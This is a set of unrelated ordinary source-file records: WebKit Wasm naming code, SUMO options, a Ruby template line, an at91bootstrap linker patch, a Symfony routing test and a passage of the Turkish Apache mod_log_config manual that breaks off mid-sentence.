SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"config.h\"\n#include \"WasmIndexOrName.h\"\n\nnamespace JSC { namespace Wasm {\n\nIndexOrName::IndexOrName(Index index, std::pair<const Name*, RefPtr<NameSection>>&& name)\n{\n static_assert(sizeof(m_indexName.index) == sizeof(m_indexName.name), \"bit-tagging depends on sizes being equal\");\n\n if ((index & allTags) || (bitwise_cast<Index>(name.first) & allTags))\n *this = IndexOrName();\n else {\n if (name.first)\n m_indexName.name = name.first;\n else\n m_indexName.index = indexTag | index;\n }\n m_nameSection = WTFMove(name.second);\n}\n\nString makeString(const IndexOrName& ion)\n{\n if (ion.isEmpty())\n return \"wasm-stub\"_s;\n const String moduleName = ion.nameSection()->moduleName.size() ? String(ion.nameSection()->moduleName.data(), ion.nameSection()->moduleName.size()) : String(ion.nameSection()->moduleHash.data(), ion.nameSection()->moduleHash.size());\n if (ion.isIndex())\n return makeString(moduleName, \".wasm-function[\", String::number(ion.m_indexName.index & ~IndexOrName::indexTag), ']');\n return makeString(moduleName, \".wasm-function[\", String(ion.m_indexName.name->data(), ion.m_indexName.name->size()), ']');\n}\n\n} } // namespace JSC::Wasm\n"} {"text": "--no-step-log --net-file=net.net.xml --routes=input_routes.rou.xml\n--lateral-resolution 0.8 --duration-log.statistics\n"} {"text": "require \"<%= @gem_name %>/version\"\n\nNesta::Plugin.register(__FILE__)\n"} {"text": "From b783d1f9bf985c0981e755bd2c13e091e9d6837f Mon Sep 17 00:00:00 2001\nFrom: Gregory Hermant <gregory.hermant@calao-systems.com>\nDate: Tue, 6 Nov 2012 09:38:50 +0100\nSubject: [PATCH] at91bootstrap: fix overlap linker issue\n\nThe linker script of the at91bootstrap package has to be modified when\nbuilt from gcc-4.6.x version. Indeed a section named text.startup is\ncreated and has to be added into the text section.\n\nSigned-off-by: Gregory Hermant <gregory.hermant@calao-systems.com>\n---\n elf32-littlearm.lds | 1 +\n 1 file changed, 1 insertion(+)\n\ndiff --git a/elf32-littlearm.lds b/elf32-littlearm.lds\nindex a33952f..4f3ba25 100644\n--- a/elf32-littlearm.lds\n+++ b/elf32-littlearm.lds\n@@ -7,6 +7,7 @@ SECTIONS\n \t.text : { \n \t\t_stext = .;\n \t\t*(.text)\n+\t\t*(.text*)\n \t\t*(.rodata) /* read-only data (constants) */\n \t\t*(.rodata*)\n \t\t. = ALIGN(4);\n-- \n1.7.9.5\n\n"} {"text": "<?php\n\n/*\n * This file is part of the Symfony package.\n *\n * (c) Fabien Potencier <fabien@symfony.com>\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\nnamespace Symfony\\Component\\Routing\\Tests;\n\nuse Symfony\\Component\\Routing\\Route;\n\nclass RouteCompilerTest extends \\PHPUnit_Framework_TestCase\n{\n /**\n * @dataProvider provideCompileData\n */\n public function testCompile($name, $arguments, $prefix, $regex, $variables, $tokens)\n {\n $r = new \\ReflectionClass('Symfony\\\\Component\\\\Routing\\\\Route');\n $route = $r->newInstanceArgs($arguments);\n\n $compiled = $route->compile();\n $this->assertEquals($prefix, $compiled->getStaticPrefix(), $name.' (static prefix)');\n $this->assertEquals($regex, $compiled->getRegex(), $name.' (regex)');\n $this->assertEquals($variables, $compiled->getVariables(), $name.' (variables)');\n $this->assertEquals($tokens, $compiled->getTokens(), $name.' (tokens)');\n }\n\n public function provideCompileData()\n {\n return array(\n array(\n 'Static route',\n array('/foo'),\n '/foo', '#^/foo$#s', array(), array(\n array('text', '/foo'),\n )),\n\n array(\n 'Route with a variable',\n array('/foo/{bar}'),\n '/foo', '#^/foo/(?P<bar>[^/]+)$#s', array('bar'), array(\n array('variable', '/', '[^/]+', 'bar'),\n array('text', '/foo'),\n )),\n\n array(\n 'Route with a variable that has a default value',\n array('/foo/{bar}', array('bar' => 'bar')),\n '/foo', '#^/foo(?:/(?P<bar>[^/]+))?$#s', array('bar'), array(\n array('variable', '/', '[^/]+', 'bar'),\n array('text', '/foo'),\n )),\n\n array(\n 'Route with several variables',\n array('/foo/{bar}/{foobar}'),\n '/foo', '#^/foo/(?P<bar>[^/]+)/(?P<foobar>[^/]+)$#s', array('bar', 'foobar'), array(\n array('variable', '/', '[^/]+', 'foobar'),\n array('variable', '/', '[^/]+', 'bar'),\n array('text', '/foo'),\n )),\n\n array(\n 'Route with several variables that have default values',\n array('/foo/{bar}/{foobar}', array('bar' => 'bar', 'foobar' => '')),\n '/foo', '#^/foo(?:/(?P<bar>[^/]+)(?:/(?P<foobar>[^/]+))?)?$#s', array('bar', 'foobar'), array(\n array('variable', '/', '[^/]+', 'foobar'),\n array('variable', '/', '[^/]+', 'bar'),\n array('text', '/foo'),\n )),\n\n array(\n 'Route with several variables but some of them have no default values',\n array('/foo/{bar}/{foobar}', array('bar' => 'bar')),\n '/foo', '#^/foo/(?P<bar>[^/]+)/(?P<foobar>[^/]+)$#s', array('bar', 'foobar'), array(\n array('variable', '/', '[^/]+', 'foobar'),\n array('variable', '/', '[^/]+', 'bar'),\n array('text', '/foo'),\n )),\n\n array(\n 'Route with an optional variable as the first segment',\n array('/{bar}', array('bar' => 'bar')),\n '', '#^/(?P<bar>[^/]+)?$#s', array('bar'), array(\n array('variable', '/', '[^/]+', 'bar'),\n )),\n\n array(\n 'Route with an optional variable as the first segment with requirements',\n array('/{bar}', array('bar' => 'bar'), array('bar' => '(foo|bar)')),\n '', '#^/(?P<bar>(foo|bar))?$#s', array('bar'), array(\n array('variable', '/', '(foo|bar)', 'bar'),\n )),\n\n array(\n 'Route with only optional variables',\n array('/{foo}/{bar}', array('foo' => 'foo', 'bar' => 'bar')),\n '', '#^/(?P<foo>[^/]+)?(?:/(?P<bar>[^/]+))?$#s', array('foo', 'bar'), array(\n array('variable', '/', '[^/]+', 'bar'),\n array('variable', '/', '[^/]+', 'foo'),\n )),\n\n array(\n 'Route with a variable in last position',\n array('/foo-{bar}'),\n '/foo', '#^/foo\\-(?P<bar>[^\\-]+)$#s', array('bar'), array(\n array('variable', '-', '[^\\-]+', 'bar'),\n array('text', '/foo'),\n )),\n\n array(\n 'Route with a format',\n array('/foo/{bar}.{_format}'),\n '/foo', '#^/foo/(?P<bar>[^/\\.]+)\\.(?P<_format>[^\\.]+)$#s', array('bar', '_format'), array(\n array('variable', '.', '[^\\.]+', '_format'),\n array('variable', '/', '[^/\\.]+', 'bar'),\n array('text', '/foo'),\n )),\n );\n }\n\n /**\n * @expectedException \\LogicException\n */\n public function testRouteWithSameVariableTwice()\n {\n $route = new Route('/{name}/{name}');\n\n $compiled = $route->compile();\n }\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"tr\" xml:lang=\"tr\"><head><!--\n XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n This file is generated from xml source: DO NOT EDIT\n XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n -->\n<title>mod_log_config - Apache HTTP Sunucusu</title>\n<link href=\"../style/css/manual.css\" rel=\"stylesheet\" media=\"all\" type=\"text/css\" title=\"Main stylesheet\" />\n<link href=\"../style/css/manual-loose-100pc.css\" rel=\"alternate stylesheet\" media=\"all\" type=\"text/css\" title=\"No Sidebar - Default font size\" />\n<link href=\"../style/css/manual-print.css\" rel=\"stylesheet\" media=\"print\" type=\"text/css\" />\n<link href=\"../images/favicon.ico\" rel=\"shortcut icon\" /></head>\n<body>\n<div id=\"page-header\">\n<p class=\"menu\"><a href=\"../mod/\">Modüller</a> | <a href=\"../mod/directives.html\">Yönergeler</a> | <a href=\"../faq/\">SSS</a> | <a href=\"../glossary.html\">Terimler</a> | <a href=\"../sitemap.html\">Site Haritası</a></p>\n<p class=\"apache\">Apache HTTP Sunucusu Sürüm 2.2</p>\n<img alt=\"\" src=\"../images/feather.gif\" /></div>\n<div class=\"up\"><a href=\"./\"><img title=\"&lt;-\" alt=\"&lt;-\" src=\"../images/left.gif\" /></a></div>\n<div id=\"path\">\n<a href=\"http://www.apache.org/\">Apache</a> &gt; <a href=\"http://httpd.apache.org/\">HTTP Sunucusu</a> &gt; <a href=\"http://httpd.apache.org/docs/\">Belgeleme</a> &gt; <a href=\"../\">Sürüm 2.2</a> &gt; <a href=\"./\">Modüller</a></div>\n<div id=\"page-content\">\n<div id=\"preamble\"><h1>Apache Modülü mod_log_config</h1>\n<div class=\"toplang\">\n<p><span>Mevcut Diller: </span><a href=\"../en/mod/mod_log_config.html\" hreflang=\"en\" rel=\"alternate\" title=\"English\">&nbsp;en&nbsp;</a> |\n<a href=\"../ja/mod/mod_log_config.html\" hreflang=\"ja\" rel=\"alternate\" title=\"Japanese\">&nbsp;ja&nbsp;</a> |\n<a href=\"../ko/mod/mod_log_config.html\" hreflang=\"ko\" rel=\"alternate\" title=\"Korean\">&nbsp;ko&nbsp;</a> |\n<a href=\"../tr/mod/mod_log_config.html\" title=\"Türkçe\">&nbsp;tr&nbsp;</a></p>\n</div>\n<table class=\"module\"><tr><th><a href=\"module-dict.html#Description\">Açıklama:</a></th><td>Sunucuya yapılan isteklerin günlük kayıtlarının tutulması\n</td></tr>\n<tr><th><a href=\"module-dict.html#Status\">Durum:</a></th><td>Temel</td></tr>\n<tr><th><a href=\"module-dict.html#ModuleIdentifier\">Modül Betimleyici:</a></th><td>log_config_module</td></tr>\n<tr><th><a href=\"module-dict.html#SourceFile\">Kaynak Dosyası:</a></th><td>mod_log_config.c</td></tr></table>\n<h3>Özet</h3>\n\n <p>Bu modül istemci isteklerinin esnek şekilde günlüklenmesi ile\n ilgilidir. Günlükler kişiselleştirilebilir biçemdedir ve doğrudan bir\n dosyaya yazılabileceği gibi boru üzerinden harici bir sürece de\n yazılabilir. İsteğin özelliklerine bağlı olarak bazı isteklerin\n günlüklere kaydedilmesi veya kaydedilmemesi mümkün kılınmıştır.</p>\n\n <p>Bu modül üç yönerge içermektedir: Bir günlük dosyası oluşturmak için\n <code class=\"directive\"><a href=\"#transferlog\">TransferLog</a></code>, günlük\n biçemini kişiselleştirmek için <code class=\"directive\"><a href=\"#logformat\">LogFormat</a></code> ve tek başına bir günlük\n dosyasını hem tanımlayıp hem de biçemleyen <code class=\"directive\"><a href=\"#customlog\">CustomLog</a></code> yönergesi. Her isteğin\n çok sayıda dosyaya günlüklenmesini sağlamak için yapılandırma dosyasında\n her sunucu için birden fazla <code class=\"directive\">TransferLog</code> ve\n <code class=\"directive\">CustomLog</code> yönergesi belirtilebilir.</p>\n</div>\n<div id=\"quickview\"><h3 class=\"directives\">Yönergeler</h3>\n<ul id=\"toc\">\n<li><img alt=\"\" src=\"../images/down.gif\" /> <a href=\"#bufferedlogs\">BufferedLogs</a></li>\n<li><img alt=\"\" src=\"../images/down.gif\" /> <a href=\"#cookielog\">CookieLog</a></li>\n<li><img alt=\"\" src=\"../images/down.gif\" /> <a href=\"#customlog\">CustomLog</a></li>\n<li><img alt=\"\" src=\"../images/down.gif\" /> <a href=\"#logformat\">LogFormat</a></li>\n<li><img alt=\"\" src=\"../images/down.gif\" /> <a href=\"#transferlog\">TransferLog</a></li>\n</ul>\n<h3>Konular</h3>\n<ul id=\"topics\">\n<li><img alt=\"\" src=\"../images/down.gif\" /> <a href=\"#formats\">Günlük Girdilerinin Kişiselleştirilmesi</a></li>\n<li><img alt=\"\" src=\"../images/down.gif\" /> <a href=\"#security\">Güvenlik Kaygıları</a></li>\n</ul><h3>Ayrıca bakınız:</h3>\n<ul class=\"seealso\">\n<li><a href=\"../logs.html\">Apache Günlük Dosyaları</a></li>\n</ul></div>\n<div class=\"top\"><a href=\"#page-header\"><img alt=\"top\" src=\"../images/up.gif\" /></a></div>\n<div class=\"section\">\n<h2><a name=\"formats\" id=\"formats\">Günlük Girdilerinin Kişiselleştirilmesi</a></h2>\n\n <p><code class=\"directive\"><a href=\"#logformat\">LogFormat</a></code> ve <code class=\"directive\"><a href=\"#customlog\">CustomLog</a></code> yönergelerinin biçem\n argümanı bir dizgedir. Bu dizge her isteği günlük dosyasına günlüklemek\n için kullanılır. Doğrudan günlük dosyalarına kopyalanmak üzere dizgesel\n sabitler içerebileceği gibi satırsonu ve sekme karakterleri olarak C\n tarzı \"\\n\" ve \"\\t\" denetim karakterlerini de içerebilir. Dizgesel sabit\n olarak kullanılan tırnak ve tersbölü imlerinin tersbölü ile öncelenmesi\n gerekir.</p>\n\n <p>İstek özellikleri biçem dizgesine “<code>%</code>” imli belirteçler\n yerleştirilerek günlüklenir. Bu belirteçler ve anlamları:</p>\n\n <table class=\"bordered\"><tr class=\"header\"><th>Belirteç</th>\n <th>Açıklama</th></tr>\n<tr><td><code>%%</code></td>\n <td>Yüzde imi</td></tr>\n<tr class=\"odd\"><td><code>%a</code></td>\n <td>Uzak IP adresi</td></tr>\n<tr><td><code>%A</code></td>\n <td>Yerel IP adresi</td></tr>\n<tr class=\"odd\"><td><code>%B</code></td>\n <td>HTTP başlıkları hariç, yanıtın bayt cinsinden uzunluğu.</td></tr>\n<tr><td><code>%b</code></td>\n <td>HTTP başlıkları hariç, yanıtın bayt cinsinden uzunluğu. OGB\n biçeminde hiç bayt gönderilmemişse günlüğe '<code>-</code>' yerine\n '<code>0</code>' çıktılanır.</td></tr>\n<tr class=\"odd\"><td><code>%{<var>Fesmekan</var>}C</code></td>\n <td>İstek içinde sunucuya gönderilen <var>Fesmekan</var> çerezinin\n içeriği. Sadece 0. sürüm çerezler tam olarak desteklenir.</td></tr>\n<tr><td><code>%D</code></td>\n <td>Mikrosaniye cinsinden isteği sunmak için harcanan zaman.</td></tr>\n<tr class=\"odd\"><td><code>%{<var>FALANCA</var>}e</code></td>\n <td><var>FALANCA</var> ortam değişkeninin içeriği.</td></tr>\n<tr><td><code>%f</code></td>\n <td>Dosya ismi</td></tr>\n<tr class=\"odd\"><td><code>%h</code></td>\n <td>Uzak konak</td></tr>\n<tr><td><code>%H</code></td>\n <td>İstek Protokolü</td></tr>\n<tr class=\"odd\"><td><code>%{<var>Filanca</var>}i</code></td>\n <td>İstekle birlikte sunucuya gönderilen\n <code><var>Filanca</var>:</code> başlık satır(lar)ının\n içeriği. Diğer modüllerde (örn. <code class=\"module\"><a href=\"../mod/mod_headers.html\">mod_headers</a></code>)\n yapılan değişikliklerden etkilenir.</td></tr>\n<tr><td><code>%k</code></td>\n <td>Bu bağlantıda işlenen isteklerin sayısı; yani örneğin,\n '1' değeri bağlantı kurulduktan sonraki ilk kalıcı bağlantıyı,\n '2', ikinci bağlantıyı, ..., vb. gösterir;\n <code class=\"directive\"><a href=\"../mod/core.html#keepalive\">KeepAlive</a></code> kullanılmışsa\n değer anlamlıdır; aksi takdirde değer daima (ilk isteği\n belirten) 0’dır. 2.2.11 sürümünden beri kullanılabilmektedir.\n </td></tr>\n<tr class=\"odd\"><td><code>%l</code></td>\n <td>Uzak kullanıcı kimliği (sağlanmışsa, identd üzerinden).\n <code class=\"module\"><a href=\"../mod/mod_ident.html\">mod_ident</a></code> modülü mevcut ve <code class=\"directive\"><a href=\"../mod/mod_ident.html#identitycheck\">IdentityCheck</a></code> yönergesine değer\n olarak <code>On</code> atanmış olmadıkça bu belirteç için günlüğe\n tire imi yazılır.</td></tr>\n<tr><td><code>%m</code></td>\n <td>İstek yöntemi</td></tr>\n<tr class=\"odd\"><td><code>%{<var>Filanca</var>}n</code></td>\n <td>Diğer modüldeki <var>Filanca</var> bilgisinin içeriği.</td></tr>\n<tr><td><code>%{<var>Filanca</var>}o</code></td>\n <td>Yanıttaki <code><var>Filanca</var>:</code> başlık satır(lar)ının\n içeriği.</td></tr>\n<tr class=\"odd\"><td><code>%p</code></td>\n <td>Sunucunun isteği sunduğu meşru port</td></tr>\n<tr><td><code>%{<var>biçem</var>}p</code></td>\n <td>Sunucunun veya istemcinin gerçek portu veya sunucunun isteği\n sunduğu meşru port. Geçerli biçemler: <code>canonical</code>,\n <code>local</code> ve <code>remote</code> (anlamları sırasıyla:\n meşru, yerel ve uzak).</td></tr>\n<tr class=\"odd\"><td><code>%P</code></td>\n <td>İsteği sunan çocuk sürecin süreç kimliği.</td></tr>\n<tr><td><code>%{<var>biçem</var>}P</code></td>\n <td>İsteği sunan çocuk sürecin süreç kimliği (<code>pid</code>) veya\n evre kimliği (<code>tid</code>). Geçerli biçemler: <code>pid</code>,\n <code>tid</code>, <code>hextid</code>. <code>hextid</code> için APR\n 1.2.0 veya üstü gerekir.</td></tr>\n<tr class=\"odd\"><td><code>%q</code></td>\n <td>Sorgu dizgesi (bir sorgu dizgesi mevcutsa önüne bir <code>?</code>\n eklenir yoksa hiçbir şey eklenmez).</td></tr>\n<tr><td><code>%r</code></td>\n <td>İsteğin ilk satırı.</td></tr>\n<tr class=\"odd\"><td><code>%R</code></td>\n <td>Yanıt varsa yanıtı üreten eylemci.</td></tr>\n<tr><td><code>%s</code></td>\n <td>Durum. Dahili olarak yönlendirilen istekler için isteğin *özgün*\n durumudur --- isteğin son durumu için <code>%&gt;s</code>\n kullanınız.</td></tr>\n<tr class=\"odd\"><td><code>%t</code></td>\n <td>İsteğin alındığı tarih ve saat (standart ingiliz biçemi).</td></tr>\n<tr><td><code>%{<var>biçem</var>}t</code></td>\n <td>İsteğin alındığı tarih ve saat; <var>biçem</var>\n <code>strftime(3)</code> biçeminde belirtilmelidir (genelde\n yerelleştirme amaçlı).</td></tr>\n<tr class=\"odd\"><td><code>%T</code></td>\n <td>Saniye cinsinden, isteği sunmak için harcanan zaman.</td></tr>\n<tr><td><code>%u</code></td>\n <td>Uzak kullanıcı (kimlik doğrulaması istenmişse vardır; durum kodu\n (<code>%s</code>) 401 ise yanlış olabilir).</td></tr>\n<tr class=\"odd\"><td><code>%U</code></td>\n <td>Herhangi bir sorgu dizgesi içermeksizin istenen URL yolu.</td></tr>\n<tr><td><code>%v</code></td>\n <td>İsteği sunan sunucunun meşru sunucu ismi (<code class=\"directive\"><a href=\"../mod/core.html#servername\">ServerName</a></code>).</td></tr>\n<tr class=\"odd\"><td><code>%V</code></td>\n <td><code class=\"directive\"><a href=\"../mod/core.html#usecanonicalname\">UseCanonicalName</a></code> ayarı ile\n ilgili sunucu ismi.</td></tr>\n<tr><td><code>%X</code></td>\n <td>Yanıt tamamlandığında bağlantı durumu:\n\n <table>\n \n <tr><td><code>X</code> =</td>\n <td>Yanıt tamamlanmadan bağlantı koptu.</td></tr>\n <tr><td><code>+</code> =</td>\n <td>Yanıt gönderildikten sonra bağlantı canlı kalabilir.</td></tr>\n <tr><td><code>-</code> = </td>\n <td>Yanıt gönderildikten sonra bağlantı kapatılacak.</td></tr>\n </table>\n\n <p>(Apache 1.3’ün son sürümlerinde bu belirteç <code>%c</code> idi\n fakat geçmişe yönelik olarak <code>%{<var>isim</var>}c</code> ssl\n sözdizimi ile çelişiyordu.)</p></td></tr>\n<tr class=\"odd\"><td><code>%I</code></td>\n <td>İstek ve başlıklar dahil alınan bayt sayısı; sıfır olamaz. Bunu\n kullanmak için <code class=\"module\"><a href=\"../mod/mod_logio.html\">mod_logio</a></code> etkin olmalıdır.</td></tr>\n<tr><td><code>%O</code></td>\n <td>Başlıklar dahil gönderilen bayt sayısı; sıfır olamaz.Bunu\n kullanmak için <code class=\"module\"><a href=\"../mod/mod_logio.html\">mod_logio</a></code> etkin olmalıdır.</td></tr>\n</table>\n\n <h3><a name=\"modifiers\" id=\"modifiers\">Değiştiriciler</a></h3>\n\n <p>Belli öğelerin sadece belli durum kodlarıyla ilgili yanıtlarla\n basılabilmesi için bu durum kodları % iminden hemen sonra virgüllerle\n ayrılmış olarak yazılabilir. Örneğin,\n <code>\"%400,501{User-agent}i\"</code> belirteci,\n <code>User-agent</code> başlığını sadece 400 ve 501 hatalarında\n günlüğe kaydeder. Diğer durum kodları için günlüğe <code>\"-\"</code>\n yazılır. Durum kodlarını olumsuzlamak için başa bir \"<code>!</code>\"\n konabilir. Örneğin, <code>\"%!200,304,302{Referer}i\"</code> belirteci,\n 200,304,302 durum kodlarından biriyle dönmeyen tüm istekler için\n <code>Referer</code> başlığını durum koduyla birlikte günlüğe\n kaydedecektir.</p>\n\n <p>İsteğin dahili olarak yönlendirilmesinde özgün durumunun mu yoksa son\n durumunun mu hesaba katılacağı \"&lt;\" ve \"&gt;\" değiştiricileri ile\n belirtilebilir. Öntanımlı olarak <code>%s, %U, %T, %D,</code> ve\n <code>%r</code> belirteçleri isteğin özgün durumuna bakarken diğerleri\n son durumuna bakarlar. Bu bakımdan örneğin, <code>%&gt;s</code>\n belirteci, özgün istekteki kimliği doğrulanmış kullanıcının, dahili\n olarak kimlik doğrulaması gerekmeyen bir özkaynağa yönlendirilmesi\n halinde isteğin son durumunu kaydetmekte kullanılabilir.</p>\n\n \n\n <h3><a name=\"format-notes\" id=\"format-notes\">Bazı Bilgiler</a></h3>\n\n <p>Güvenlik nedeniyle, 2.0.46 sürümünden itibaren <code>%r</code>,\n <code>%i</code> ve <code>%o</code> belirteçlerinde basılamayan\n karakterler ve diğer özel karakterler <code>\\x<var>hh</var></code>\n dizilimleri biçeminde öncelenmektedir. Burada <var>hh</var> yerine\n karakter numarasının onaltılık gösterimi yazılır. Bir tersbölü ile\n öncelenmesi gereken <code>\"</code> ve <code>\\</code> ile\n <code>\\n</code>, <code>\\t</code> gibi C tarzı gösterimler bu kuralın\n dışındadır. 2.0.46 sürümünün öncesinde bu dizgeler öncelenmezdi ve ham\n günlük dosyalarıyla çalışırken dikkatli olmak gerekirdi.</p>\n\n <p>2.0 sürümünde 1.3 sürümünün aksine <code>%b</code> ve\n <code>%B</code> biçem belirteçleri, istemciye gönderilen bayt sayısını\n değil, HTTP yanıtının bayt sayısını ifade ederdi (bu yanıt, örneğin,\n SSL kullanıldığında veya bağlantı koptuğunda farklı uzunlukta olur).\n Artık, ağa gönderilen gerçek bayt sayısını günlüğe kaydetmek için\n <code class=\"module\"><a href=\"../mod/mod_logio.html\">mod_logio</a></code> modülü tarafından sağlanan <code>%O</code>\n biçem belirteci kullanılmaktadır.</p>\n\n <p>Dikkat: <code class=\"module\"><a href=\"../mod/mod_cache.html\">mod_cache</a></code> standart bir eylemci olarak değil\n hızlandırılmış bir eylemci olarak gerçeklenmştir. Bu bakımdan\n <code>%R</code> biçem dizgesi içerik önbelleklemesi ile ilgili\n herhangi bir eylemci bilgisi döndürmeyecektir.</p>\n\n \n\n <h3><a name=\"examples\" id=\"examples\">Örnekler</a></h3>\n\n <p>Genelde herkesçe kullanılan günlük kaydı biçemleme dizgelerinden\n bazıları:</p>\n\n <dl>\n <dt>Ortak Günlük Biçemi (OGB)</dt>\n <dd><code>\"%h %l %u %t \\\"%r\\\" %&gt;s %b\"</code></dd>\n\n <dt>Sanal Konaklı Ortak Günlük Biçemi</dt>\n <dd><code>\"%v %h %l %u %t \\\"%r\\\" %&gt;s %b\"</code></dd>\n\n <dt>NCSA uzun/birleşik günlük biçemi</dt>\n <dd><code>\"%h %l %u %t \\\"%r\\\" %&gt;s %b \\\"%{Referer}i\\\"\n \\\"%{User-agent}i\\\"\"</code></dd>\n\n <dt>Referer başlığını içeren günlük biçemi</dt>\n <dd><code>\"%{Referer}i -&gt; %U\"</code></dd>\n\n <dt>User-agent başlığını içeren günlük biçemi</dt>\n <dd><code>\"%{User-agent}i\"</code></dd>\n </dl>\n \n</div><div class=\"top\"><a href=\"#page-header\"><img alt=\"top\" src=\"../images/up.gif\" /></a></div>\n<div class=\"section\">\n<h2><a name=\"security\" id=\"security\">Güvenlik Kaygıları</a></h2>\n <p>Günlük dosyarının kaydedildiği dizine sunucuyu başlatan kullanıcı\n dışında diğer kullanıcılar tarafından yazılabiliyor olması halinde\n güvenliğinizden nasıl feragat etmiş olacağınız <a href=\"../misc/security_tips.html#serverroot\">güvenlik ipuçları</a>\n belgesinde açıklanmıştır.</p>\n</div>\n<div class=\"top\"><a href=\"#page-header\"><img alt=\"top\" src=\"../images/up.gif\" /></a></div>\n<div class=\"directive-section\"><h2><a name=\"BufferedLogs\" id=\"BufferedLogs\">BufferedLogs</a> <a name=\"bufferedlogs\" id=\"bufferedlogs\">Yönergesi</a></h2>\n<table class=\"directive\">\n<tr><th><a href=\"directive-dict.html#Description\">Açıklama:</a></th><td>Günlük girdilerini diske yazmadan önce bellekte tamponlar\n</td></tr>\n<tr><th><a href=\"directive-dict.html#Syntax\">Sözdizimi:</a></th><td><code>BufferedLogs On|Off</code></td></tr>\n<tr><th><a href=\"directive-dict.html#Default\">Öntanımlı:</a></th><td><code>BufferedLogs Off</code></td></tr>\n<tr><th><a href=\"directive-dict.html#Context\">Bağlam:</a></th><td>sunucu geneli</td></tr>\n<tr><th><a href=\"directive-dict.html#Status\">Durum:</a></th><td>Temel</td></tr>\n<tr><th><a href=\"directive-dict.html#Module\">Modül:</a></th><td>mod_log_config</td></tr>\n<tr><th><a href=\"directive-dict.html#Compatibility\">Uyumluluk:</a></th><td>2.0.41 ve sonrasında mevcuttur.</td></tr>\n</table>\n <p><code class=\"directive\">BufferedLogs</code> yönergesi,\n <code class=\"module\"><a href=\"../mod/mod_log_config.html\">mod_log_config</a></code> modülünün çeşitli günlük girdilerini her\n isteğin hemen ardından tek tek değil, bir bütün halinde diske yazılmak\n üzere bellekte saklanmasını sağlar. Bu, bazı sistemlerde daha verimli\n disk erişimi, dolayısıyla daha yüksek başarım sağlayabilir. Sadece\n sunucu geneli için belirtilebilir, sanal konaklar için ayrı ayrı\n yapılandırılamaz.</p>\n\n <div class=\"note\">Bu yönerge deneyseldir ve dikkatli kullanılmalıdır.</div>\n\n</div>\n<div class=\"top\"><a href=\"#page-header\"><img alt=\"top\" src=\"../images/up.gif\" /></a></div>\n<div class=\"directive-section\"><h2><a name=\"CookieLog\" id=\"CookieLog\">CookieLog</a> <a name=\"cookielog\" id=\"cookielog\">Yönergesi</a></h2>\n<table class=\"directive\">\n<tr><th><a href=\"directive-dict.html#Description\">Açıklama:</a></th><td>Çerezleri günlüğe kaydetmek için dosya ismi belirtmekte\nkullanılır.</td></tr>\n<tr><th><a href=\"directive-dict.html#Syntax\">Sözdizimi:</a></th><td><code>CookieLog <var>dosya-adı</var></code></td></tr>\n<tr><th><a href=\"directive-dict.html#Context\">Bağlam:</a></th><td>sunucu geneli, sanal konak</td></tr>\n<tr><th><a href=\"directive-dict.html#Status\">Durum:</a></th><td>Temel</td></tr>\n<tr><th><a href=\"directive-dict.html#Module\">Modül:</a></th><td>mod_log_config</td></tr>\n<tr><th><a href=\"directive-dict.html#Compatibility\">Uyumluluk:</a></th><td>Bu yönergenin kullanımı önerilmemektedir.</td></tr>\n</table>\n <p><code class=\"directive\">CookieLog</code> yönergesi çerezleri günlüğe kaydetmek\n için dosya ismi belirtir. Dosya isminin <code class=\"directive\"><a href=\"../mod/core.html#serverroot\">ServerRoot</a></code> değerine göre belirtildiği\n varsayılır. Yönerge <code>mod_cookies</code> ile uyumluluk için vardır\n ve kullanımı önerilmemektedir.</p>\n\n</div>\n<div class=\"top\"><a href=\"#page-header\"><img alt=\"top\" src=\"../images/up.gif\" /></a></div>\n<div class=\"directive-section\"><h2><a name=\"CustomLog\" id=\"CustomLog\">CustomLog</a> <a name=\"customlog\" id=\"customlog\">Yönergesi</a></h2>\n<table class=\"directive\">\n<tr><th><a href=\"directive-dict.html#Description\">Açıklama:</a></th><td>Günlük dosyasın ismini ve girdi biçemini belirler.</td></tr>\n<tr><th><a href=\"directive-dict.html#Syntax\">Sözdizimi:</a></th><td><code>CustomLog <var>dosya</var>|<var>borulu-süreç</var>\n<var>biçem</var>|<var>takma-ad</var>\n[env=[!]<var>ortam-değişkeni</var>]</code></td></tr>\n<tr><th><a href=\"directive-dict.html#Context\">Bağlam:</a></th><td>sunucu geneli, sanal konak</td></tr>\n<tr><th><a href=\"directive-dict.html#Status\">Durum:</a></th><td>Temel</td></tr>\n<tr><th><a href=\"directive-dict.html#Module\">Modül:</a></th><td>mod_log_config</td></tr>\n</table>\n <p><code class=\"directive\">CustomLog</code> yönergesi istekleri günlüğe kaydetmek\n için kullanılır. Yönerge ile bir günlük biçemi belirtilebilir ve günlük\n kaydı isteğin özelliklerine bağlı olarak ortam değişkenleri vasıtasıyla\n şarta bağlı kılınabilir.</p>\n\n <p>İlk argümanda günlüğün yazılacağı yer belirtilir. İki tür yer\n belirtilebilir:</p>\n\n <dl>\n <dt><var>dosya</var></dt>\n <dd><code class=\"directive\"><a href=\"../mod/core.html#serverroot\">ServerRoot</a></code> yönergesinin\n değerine göreli bir dosya ismi.</dd>\n\n <dt><var>borulu-süreç</var></dt>\n <dd>\"<code>|</code>\" boru karakteri ile öncelenmiş olarak günlük\n bilgisini standart girdisinden kabul edecek sürecin ismi (veya komut\n satırı) Daha fazla bilgi için <a href=\"../logs.html#piped\">borulu\n günlükler</a> ile ilgili ek bilgilere bakın.\n\n <div class=\"warning\"><h3>Güvenlik:</h3>\n <p>Bir borulu süreç 